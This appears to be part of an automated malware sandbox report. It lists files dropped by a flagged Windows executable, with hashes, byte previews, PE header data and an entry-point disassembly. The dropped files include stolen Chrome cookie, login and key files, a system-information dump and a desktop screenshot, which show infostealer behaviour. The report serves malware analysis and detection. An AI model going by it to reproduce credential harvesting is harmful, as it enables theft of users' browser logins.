SHA-256:	AF64F5B2B6C4CC63B0CA4BB48F369EBA1629886D85E289A469A5C9612C4A5EE3
SHA-512:	BC842A80509BDA8AFFF6E12F5B5C64CCF7F1D7360F99F63CEBBC1F21936A15487EC16BDE3C2ACFF22C49EBCEDF5C426621D6F69503F4968AACC8E75611E3A816
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 51%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L...S.._.................B....t......*.......`....@..........................@v.....x[......................................D...x.....u..............................a.................................@............`..d............................text...P@.......B.................. ..`.rdata..~....`.......F..............@..@.data...`us.........................@....fefeg..r.....u.....................@..@.guyus..p.....u.....................@..`.venu.........u.....................@..`.rsrc.........u.....................@..@................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44A2.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	351744
Entropy (8bit):	6.213948226707096
Encrypted:	false
SSDEEP:	6144:nXKjkwFMx3dfUVxmFBGG8wScyH31in9HRPnWDe9XvA6OcnLmKo/38+ehh:n69Fc3dl8wScyH31in9HRPnUe9/ASnL4
MD5:	45D0A6BB2CA00643FB04BF15D4AAA2C9
SHA1:	BA7EF4495BFDD4D4A89A61CD9961715618EFB768
SHA-256:	D1F548773AEDAFB4836901DA6C0D6580FA4D836E46665E9E844915BB85D4E3E0
SHA-512:	1688DDB5683FA104CB9FC4EC6DE9E402190F856BDEA9D4BD7CD64F5344F5A0527E77C56FDAD8D32C80F25025DA3F3E6F75829B390AE58B1C82970F76759285BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OW...9P..9P..9Ph`.P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P..9P.X.P..9P.X.P..9P.X.P..9PRich..9P................PE..L..._.j`.....................@......0.............@..........................p......Q;..........................................(.......pA...................0..8.......................................@...............l............................text............................... ..`.data...@...........................@....rsrc...pA.......B..................@..@.reloc...;...0...<..."..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\51B3.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	336896
Entropy (8bit):	6.093303347227195
Encrypted:	false
SSDEEP:	6144:Lz1DqgKqQBllS35U3jiXtHgL7Xw6KXUY3j0flQi1ejhH:5BVWllS35U3jiXtHgL7g6KEYQflQi1
MD5:	D2331EDF10B3C0E6A5C8FEC0A1A6392E
SHA1:	F988ADDBBF47CF6DD3AC9C83BAA1ACED7309EFF1
SHA-256:	BB19A312C32F06DC9748BF7317F066A9EC2AECD4B09456A03C097D4118F0ECF9
SHA-512:	BF326F98DD84E1B0BAA695CE0E26A52569EFD1B6AF13430568F52277572A42205232B0436CB966E665611A89F8F25564B8B8F5F652FE45A95BE20688CC7C8F1A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OW...9P..9P..9Ph`.P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P..9P.X.P..9P.X.P..9P.X.P..9PRich..9P................PE..L.....}_.....................@...................@..........................@......8q.........................................(.......pA......................4...................................h...@...............l............................text...n........................... ..`.data...@...........................@....rsrc...pA.......B..................@..@.reloc...;.......<..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\2340.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1143000
Entropy (8bit):	7.2472305489572335
Encrypted:	false
SSDEEP:	12288:N6e6+O/RK8MmtDX5f11XNbW/kjvULGaPBUcXTE/RFia0/1AtBVEOi2vU86N1A:kHc8L59HbViGaJUck1iAtBVEN2vX6zA
MD5:	97617914D6E8A6E3CBEE8A5E5FF39AA5
SHA1:	CAF7FEF0EFD3DBCF176C7CFC85CC545DD0DC9EFD
SHA-256:	7C1C287F9CE0D8D90C95851781FF2732780177F6C1AFFECC9EED376436981112
SHA-512:	F4C79F9E41124044AA1D0A44E86D0A184BEDA33163D7B0973DC23B4FF5087C708175BD89F73FFC2C160A66BF23F09835C422B654353DC67CB59EA053CF60EABB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p.i...............0..`...........~... ........@.. ...............................5....@.................................P~..K....................h............................................................... ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@....reloc...............f..............@..B.................~......H............_...........w......}......................................B(....~S...(........0.............B(....~S...(..............B(....~S...(......................0..............0..............0.............B(....~S...(.............................0.............B(....~S...(...............0..............0..............0..............0.............B(....~S...(........0..............0.............B(....~S...(........0..............0.............*.0..

C:\Users\user\AppData\Local\Temp\ASRIWLNY Download File
Process:	C:\Users\user\AppData\Local\Temp\44A2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E3E3OPZU Download File
Process:	C:\Users\user\AppData\Local\Temp\44A2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\_Files\_Chrome\default_cookies.db Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.7006690334145785
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoe9H6pf1H1oNQ:T5LLOpEO5J/Kn7U1uBobfvoNQ
MD5:	A7FE10DA330AD03BF22DC9AC76BBB3E4
SHA1:	1805CB7A2208BAEFF71DCB3FE32DB0CC935CF803
SHA-256:	8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AAD8
SHA-512:	1DBE27AED6E1E98E9F82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\_Files\_Chrome\default_key.bin Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.9375
Encrypted:	false
SSDEEP:	3:Tydsb5i6Dn:qqi6D
MD5:	18962F5697042F84578AC7F855F38AC5
SHA1:	3D7CC906C6F649EEBF0E0EBEC809B89B584033E1
SHA-256:	7DDBE41709AE056CDAD2E15C357500D6E5BEBE27D8A708C4069D8C6863A5BE99
SHA-512:	36F5BFEF91BFB07D2A45CFCA5D57126B6D2DCD05BE17AFF40E04B5F1EBB8E1D51A4584BA8F1F3326CA592D9A4D63E13A12C125674ECE0B052EED7B11C52AFF1D
Malicious:	false
Reputation:	unknown
Preview:	...*@.0n...PNI~.o.O......M+.YA

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\_Files\_Chrome\default_logins.db Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\_Files\_Chrome\default_webdata.db Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\_Files\_Information.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	6974
Entropy (8bit):	3.545952797812319
Encrypted:	false
SSDEEP:	192:RFBi8UOpGQGXJ0eDcDDfZmEiv5bJtWmGu3b:RFw8UOpGQGXJ0eDcDDfZmEiv5bJtWmGI
MD5:	367C1BF347EA4AFD78C409EDDF473D36
SHA1:	4E42FCD0D36CA3E2242B59DE51D02DBB5FD9067E
SHA-256:	6ED9D59308AD607D617F495D78BE4BBA8424738524B1A796D1BC6DDC6DED9F4C
SHA-512:	B6E199408D015B6597802C767429A1A52D62AC5C9F443798F915131D3F3AAAD4FB006657322906C9FDAB1DB1EBA545838087CDC6210A7BD39D89EA0D60715C25
Malicious:	false
Reputation:	unknown
Preview:	..S.t.a.r.t. .B.u.i.l.d.:. . . . . . . . . . . . . .C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.3.0.5...e.x.e.....O.S.:. . . . . . . . . . . . . . . . . . . . . . .W.i.n.d.o.w.s. .1.0. .P.r.o. . . .6.4.-.b.i.t._.(.x.6.4.). . . .B.u.i.l.d.:. .1.7.1.3.4. . . .R.e.l.e.a.s.e.:. .1.8.0.3.....O.S. .L.a.n.g.u.a.g.e.:. . . . . . . . . . . . . .e.n.-.U.S.....K.e.y.b.o.a.r.d. .L.a.n.g.u.a.g.e.s.:. . . . . . .E.n.g.l.i.s.h. .(.U.n.i.t.e.d. .S.t.a.t.e.s.). .\|. .....L.o.c.a.l. .D.a.t.e. .a.n.d. .T.i.m.e.:. . . . . .2.0.2.1.-.1.2.-.0.1. .0.9.:.1.4.:.3.7.....U.T.C.:. . . . . . . . . . . . . . . . . . . . . .+.0.1.0.0.....U.s.e.r.N.a.m.e. .(.C.o.m.p.u.t.e.r.N.a.m.e.).:. .j.o.n.e.s. .(.2.4.7.5.2.5.).....C.P.U.:. . . . . . . . . . . . . . . . . . . . . .I.n.t.e.l.(.R.). .C.o.r.e.(.T.M.).2. .C.P.U. .6.6.0.0. .@. .2...4.0. .G.H.z. .(.C.o.r.e.s.:. .4.).....T.o.t.a.l. .R.A.M.:. . . . . . . . . . . . . . . .8.1.9.1. . .M.B.....G.P.U.:. . . . . . . . . . . . . . . . . . . . . .A.M.D. .

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\_Files\_Screen_Desktop.jpeg Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	82372
Entropy (8bit):	7.8532709031317935
Encrypted:	false
SSDEEP:	1536:ICPrbYvHTdImdeJzF7AVcdABAJMZRGFK20HYyPF1Zj0gzQhax/X8zbb+f:BrjmdeJz8/CIRO50HYyxSMJa+f
MD5:	38C7137F820D5391670B00D9B3364CB5
SHA1:	68941BFA5FBD876B1AA4F037500E82F77DD7CC02
SHA-256:	26476F59F90273C81D07938EC0E800A80C988D730629A9AF894E1202F8EDFC4F
SHA-512:	9B29703C4BC01DD6341DA1D8DF4D062EF8157825B02E54BE7C89934DB3185463B63B76633C285B57E48ADFC2D6E3E0A9FEEC855AA818BB27BC4BF3C69D37BCBA
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................%.....- ".%5/874/43;BUH;?P?34JdKPWZ_`_9Ghog\nU]_[...C.......+..+[=4=[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..E-.(...(..U..K2..,p$s.~...*.:-.\|.+.......6.Y.t....X..s...r6.\..?....I..a..~dQ..cQS..\....^0z.8?C...D.E-..JJZJ.%%v1...H.....7.....;...........s.b.....9v8.+....?..O....[.Se.=.0c..7..8..hTv...(.W..+R..(...+....Y]i_h..~H.....x..s.-....S..._?.<.._.Gt.......4..;....D.........4.T?....+...<j.....>.........,.j.k.y-.1.#...Nm....U..u.z.RR..hb%..R.(..4..kV6.....s...

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_cookies.db Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.7006690334145785
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoe9H6pf1H1oNQ:T5LLOpEO5J/Kn7U1uBobfvoNQ
MD5:	A7FE10DA330AD03BF22DC9AC76BBB3E4
SHA1:	1805CB7A2208BAEFF71DCB3FE32DB0CC935CF803
SHA-256:	8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AAD8
SHA-512:	1DBE27AED6E1E98E9F82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_key.bin Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.9375
Encrypted:	false
SSDEEP:	3:Tydsb5i6Dn:qqi6D
MD5:	18962F5697042F84578AC7F855F38AC5
SHA1:	3D7CC906C6F649EEBF0E0EBEC809B89B584033E1
SHA-256:	7DDBE41709AE056CDAD2E15C357500D6E5BEBE27D8A708C4069D8C6863A5BE99
SHA-512:	36F5BFEF91BFB07D2A45CFCA5D57126B6D2DCD05BE17AFF40E04B5F1EBB8E1D51A4584BA8F1F3326CA592D9A4D63E13A12C125674ECE0B052EED7B11C52AFF1D
Malicious:	false
Reputation:	unknown
Preview:	...*@.0n...PNI~.o.O......M+.YA

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_logins.db Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_webdata.db Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\files_\screenshot.jpg Download File
Process:	C:\Users\user\AppData\Local\Temp\305.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	82372
Entropy (8bit):	7.8532709031317935
Encrypted:	false
SSDEEP:	1536:ICPrbYvHTdImdeJzF7AVcdABAJMZRGFK20HYyPF1Zj0gzQhax/X8zbb+f:BrjmdeJz8/CIRO50HYyxSMJa+f
MD5:	38C7137F820D5391670B00D9B3364CB5
SHA1:	68941BFA5FBD876B1AA4F037500E82F77DD7CC02
SHA-256:	26476F59F90273C81D07938EC0E800A80C988D730629A9AF894E1202F8EDFC4F
SHA-512:	9B29703C4BC01DD6341DA1D8DF4D062EF8157825B02E54BE7C89934DB3185463B63B76633C285B57E48ADFC2D6E3E0A9FEEC855AA818BB27BC4BF3C69D37BCBA
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................%.....- ".%5/874/43;BUH;?P?34JdKPWZ_`_9Ghog\nU]_[...C.......+..+[=4=[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..E-.(...(..U..K2..,p$s.~...*.:-.\|.+.......6.Y.t....X..s...r6.\..?....I..a..~dQ..cQS..\....^0z.8?C...D.E-..JJZJ.%%v1...H.....7.....;...........s.b.....9v8.+....?..O....[.Se.=.0c..7..8..hTv...(.W..+R..(...+....Y]i_h..~H.....x..s.-....S..._?.<.._.Gt.......4..;....D.........4.T?....+...<j.....>.........,.j.k.y-.1.#...Nm....U..u.z.RR..hb%..R.(..4..kV6.....s...

C:\Users\user\AppData\Roaming\hiftsuu Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	336896
Entropy (8bit):	6.093285235983875
Encrypted:	false
SSDEEP:	6144:MaXePnFllS35U3jiXtHAt7ewOljc4hDxElcyG+V5:MaqllS35U3jiXtHAt7XOlw4jElcyG
MD5:	1A430B2CBF785427C87C48D29A1A8C0F
SHA1:	E9B392C34C1BF0E42599BB561F111E3BCEA7B3D9
SHA-256:	1D1FC9D23AA14B4F484FB86C173C94084BC14A9F551747B6E06366649A229AF5
SHA-512:	28BA06D7CC60F27C948071A19BF0E5A64E9DB3AA262BDB419AD208C2FD6C7E075F9BDA85C241A329239B1F584845FBF1FAF590D69856E775FA27307EADF6FD8A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OW...9P..9P..9Ph`.P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P..9P.X.P..9P.X.P..9P.X.P..9PRich..9P................PE..L...L.\|_.....................@...................@..........................@..................................................(.......pA......................0...................................H...@...............l............................text...N........................... ..`.data...@...........................@....rsrc...pA.......B..................@..@.reloc...;.......<..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hiftsuu:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.242066218824777
Encrypted:	false
SSDEEP:	12288:+pU+NPxKxbZsNZrx/l93X1K4VoJq9jccuulyDOXqDnRNwQ5f:YU+NPxKxbZWZrxXTV
MD5:	26BE0D74D34F16E97CF8A7D1BB7C5B23
SHA1:	2F42282468D436AF6EDFEEFFFBFEBD8FE2DF73AD
SHA-256:	412837BAFFDF8F2BC94354B492E456D8FA541CE6A65F11E5EA67C092E66F8496
SHA-512:	0104B39CA19C29DCBDA03EB9FBD1506879586760C55618F49892D5CC6B81133F416D0EE51DE126B3676B1FA80523B316DEFFE8CD362700A6F19472B74DB37E01
Malicious:	false
Reputation:	unknown
Preview:	regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmZ..m.................................................................................................................................................................................................................................................................................................................................................1.0........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.349858414047052
Encrypted:	false
SSDEEP:	384:VjT5K5w+v4KgnVVeeDze/1NKZtjHT8GcwcHn1xK7jbr:ptKRg/eeDze9NYtjgGcwckjb
MD5:	FAADDF410128036CC5827B49FB1AC18D
SHA1:	27BA8D4F68109117BB3E088A9273A1F8546B41C1
SHA-256:	054270E5F8CF83B749A5EBB42E06D177BDA85C9E20469225A9444930B82E89A0
SHA-512:	A6FF0E115655D584DDBFBA0E9BF1DB7E9E5C72247048EA85020CE4F69E00669DD4A040E672A6C711F55717C5F7A211BC474E5A2B651B9835E6F46E474F555696
Malicious:	false
Reputation:	unknown
Preview:	regfG...G...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmZ..m.................................................................................................................................................................................................................................................................................................................................................1.0HvLE.N......G............O..@.qR.F.>..b..................... ..hbin................p.\..,..........nk,.Z..m.................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .Z..m........ ........................... .......Z.......................Root........lf......Root....nk .Z..m.................................... ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.093285235983875
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	v72n86vFFq.exe
File size:	336896
MD5:	1a430b2cbf785427c87c48d29a1a8c0f
SHA1:	e9b392c34c1bf0e42599bb561f111e3bcea7b3d9
SHA256:	1d1fc9d23aa14b4f484fb86c173c94084bc14a9f551747b6e06366649a229af5
SHA512:	28ba06d7cc60f27c948071a19bf0e5a64e9db3aa262bdb419ad208c2fd6c7e075f9bda85c241a329239b1f584845fbf1faf590d69856e775fa27307eadf6fd8a
SSDEEP:	6144:MaXePnFllS35U3jiXtHAt7ewOljc4hDxElcyG+V5:MaqllS35U3jiXtHAt7XOlw4jElcyG
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OW...9P..9P..9Ph`.P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P..9P.X.P..9P.X.P..9P.X.P..9PRich..9P................PE..L...L.\|_...

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x4194d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5F7CB04C [Tue Oct 6 17:58:36 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	eddec1d3c2023ed0e1e37ce0535d3b62

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F43B4E0329Bh
call 00007F43B4DFBF96h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043B7C0h
push 0041AFA0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0043E3FCh]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004012C4h]
cmp dword ptr [004C9C3Ch], 00000000h
jne 00007F43B4DFBF90h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [0040124Ch]
call 00007F43B4DFC113h
mov dword ptr [ebp-6Ch], eax
call 00007F43B4E03C9Bh
test eax, eax
jne 00007F43B4DFBF8Ch
push 0000001Ch
